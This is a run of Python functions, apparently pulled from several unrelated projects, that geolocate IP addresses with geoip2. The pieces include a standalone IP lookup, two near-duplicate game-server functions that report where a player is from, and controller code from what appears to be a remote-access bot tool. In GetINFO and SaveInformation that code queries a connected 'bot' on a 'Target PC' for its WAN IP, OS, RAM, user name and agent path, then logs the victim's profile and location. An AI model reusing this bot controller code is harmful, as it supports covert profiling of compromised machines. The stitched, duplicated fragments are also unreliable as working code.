def GeoLocate(ip): database_path = "GeoLite2-City.mmdb" database = geoip2.database.Reader(database_path) ip_info = database.city(ip) ISO_CODE = ip_info.country.iso_code country = ip_info.country.name pstlcode = ip_info.postal.code reigon = ip_info.subdivisions.most_specific.name city = ip_info.city.name # location = str(ip_info.location.latitude) + " " + str(ip_info.location.longitude) location = "https://www.google.com/maps?q=" + str( ip_info.location.latitude) + "," + str(ip_info.location.longitude) print(""" Geolocation ---------------- ISO Code : {isocode} Country : {country} Postal Code : {pstl} Reigon : {reigon} City : {city} Location : {loc} """.format(isocode=ISO_CODE, country=country, pstl=pstlcode, reigon=reigon, city=city, loc=location))
def scan_ip(IP_ADDR): try: database = geoip2.database.Reader(database_path) ip_info = database.city(IP_ADDR) ISO_CODE = ip_info.country.iso_code country = ip_info.country.name pstlcode = ip_info.postal.code reigon = ip_info.subdivisions.most_specific.name city = ip_info.city.name # location = str(ip_info.location.latitude) + " " + str(ip_info.location.longitude) location = "https://www.google.com/maps?q=" + str( ip_info.location.latitude) + "," + str(ip_info.location.longitude) print("[+] IP : " + str(IP_ADDR)) print(" |_ ISO Code : " + str(ISO_CODE)) print(" |_ Country : " + str(country)) print(" |_ Postal Code : " + str(pstlcode)) print(" |_ Reigon : " + str(reigon)) print(" |_ City : " + str(city)) print(" |_ Location : " + str(location)) except Exception as ERROR: print("[SCANNER ERROR] : {error}".format(error=ERROR)) print("[+] IP : " + str(IP_ADDR)) print(" |_ Do further scanning with nmap and / or Blacklist.")
def GetINFO(sock, filename): def SendData(data): data = data.encode() try: sock.send(data) except Exception as serror: print("[ERROR] " + str(serror)) def writetofile(): with open(filename, "w+") as infofile: infofile.write("\n[+] WAN IP : " + str(wanip)) # Save Wan IP to File infofile.write("\n" + str(osinfo)) # Save OS info to file infofile.write("\n[+] ISO Code : " + str(ISO_CODE)) infofile.write("\n[+] Country : " + str(country)) infofile.write("\n[+] Postal Code : " + str(pstlcode)) infofile.write("\n[+] Region : " + str(reigon)) infofile.write("\n[+] City : " + str(city)) infofile.write("\n[+] Location : " + str(location)) infofile.close() print("[+] Done!") database = geoip2.database.Reader(database_path) try: SendData("wanip\n") wanip = sock.recv(1024).decode() SendData("sysinfo\n") osinfo = sock.recv(1024).decode() ip_info = database.city(wanip) ISO_CODE = ip_info.country.iso_code country = ip_info.country.name pstlcode = ip_info.postal.code reigon = ip_info.subdivisions.most_specific.name city = ip_info.city.name location = str(ip_info.location.latitude) + " " + str( ip_info.location.longitude) try: file = open(filename, "r") print("[*] Information exists, Updating...") file.close() writetofile() except FileNotFoundError: print("[+] Saving Information..") writetofile() except Exception as e: print("[x] Somethings wrong.... Failed to get Information..") print("[x] Error : " + str(e)) pass
def where_from(connection, player): # Query database try: record = database.city(player.address[0]) except geoip2.errors.GeoIP2Error: return 'Player location could not be determined.' # Extract info raw_items = (record.city, *reversed(record.subdivisions), record.country) items = (raw_item.name for raw_item in raw_items if raw_item.name is not None) return '%s is from %s (%s)' % (player.name, ', '.join(items), record.country.iso_code)
def where_from(connection, value=None): # Get player IP address if value is None: if connection not in connection.protocol.players: raise ValueError() player = connection else: player = get_player(connection.protocol, value) # Query database try: record = database.city(player.address[0]) except geoip2.errors.GeoIP2Error: return 'Player location could not be determined.' # Extract info raw_items = (record.city, *reversed(record.subdivisions), record.country) items = (raw_item.name for raw_item in raw_items if raw_item.name is not None) return '%s is from %s (%s)' % (player.name, ', '.join(items), record.country.iso_code)
def SaveInformation(client_socket, filename): filename = filename+".ini" botsettings = globalinfo['bot'] def SendData(data): try: client_socket.send(data.encode()) except Exception as serror: print("[ERROR] " + str(serror)) def SendBytes(data): # data = data.encode() try: client_socket.send(data) except Exception as serror: print("[ERROR] " + str(serror)) def WriteToFile(): with open(filename, "w+") as infofile: info['INFORMATION'] = { 'OS' : str(os), 'Ram' : str(ram) + " mb", 'VirtualRam' : str(vram) + " mb", 'MinimumApplicationAddress' : str(minappaddr), 'MaximumApplicationAddress' : str(maxappaddr), 'PageSize' : str(pagesize), 'Processors' : str(processors), 'Agent-Location' : str(agent_location), 'User-PC' : str(user_pc), 'WAN' : str(wanip), 'ISOCODE' : str(ISO_CODE), 'Country' : str(country), 'PostalCode' : str(pstlcode), 'Reigon' : str(reigon), 'City' : str(city), 'Location' : str(location), 'Connected-at' : str(tnow), } info.write(infofile) database = geoip2.database.Reader(database_path) try: SendData("wanip") wanip = client_socket.recv(1024).decode() SendData("os") os = client_socket.recv(1024).decode() SendData("ramsize") ram = client_socket.recv(1024).decode() SendData("vramsize") vram = client_socket.recv(1024).decode() SendData("pagesize") pagesize = client_socket.recv(1024).decode() SendData("processors") processors = client_socket.recv(1024).decode() SendData("minappaddr") minappaddr = client_socket.recv(1024).decode() SendData("maxappaddr") maxappaddr = client_socket.recv(1024).decode() SendData("agent") agent_location = client_socket.recv(1024).decode() SendData("userpc") user_pc = client_socket.recv(1024).decode() if(wanip.startswith("No")): print("["+Style.BRIGHT + Fore.LIGHTGREEN_EX + "+" + Style.RESET_ALL + "] Bot was unable to get Wan IP because Target PC does not have active Internet connection.") ip_info = "Failed to get" ISO_CODE = "Failed to get" country = "Failed to get" pstlcode = "Failed to get" reigon = "Failed to get" city = "Failed to get" location = "Failed to get" else: ip_info = database.city(wanip) ISO_CODE = ip_info.country.iso_code country = ip_info.country.name pstlcode = ip_info.postal.code reigon = ip_info.subdivisions.most_specific.name city = ip_info.city.name # location = str(ip_info.location.latitude) + " " + str(ip_info.location.longitude) location = "https://www.google.com/maps?q="+str(ip_info.location.latitude)+","+str(ip_info.location.longitude) if(botsettings['auto_print_bot_info'] == True): print("Ram : " + str(ram)) print("Virtual Ram : " + str(vram)) print("Min App Address : " + str(minappaddr)) print("Max App Address : " + str(maxappaddr)) print("Processors : " + str(processors)) print("Page size : " + str(pagesize)) print("Agent-Location : " + str(agent_location)) print("User-PC : " + str(user_pc)) print("WAN : " + str(wanip)) print("ISO Code : " + str(ISO_CODE)) print("Country : " + str(country)) print("Postal Code : "+str(pstlcode)) print("Reigon : " + str(reigon)) print("City : " + str(city)) print("Location : " + str(location)) print("Connected at : " + str(tnow)) print("(All this information is saved under " +filename+")") try: file = open(filename, "r") print("["+Style.BRIGHT + Fore.LIGHTGREEN_EX + "+" + Style.RESET_ALL + "] Updating Existing Information.") file.close() WriteToFile() except FileNotFoundError: print("["+Style.BRIGHT + Fore.LIGHTGREEN_EX + "+" + Style.RESET_ALL + "] Saving Information.") WriteToFile() except Exception as e: print("Somethings wrong.... Failed to get Information..") print("Error : " + str(e)) pass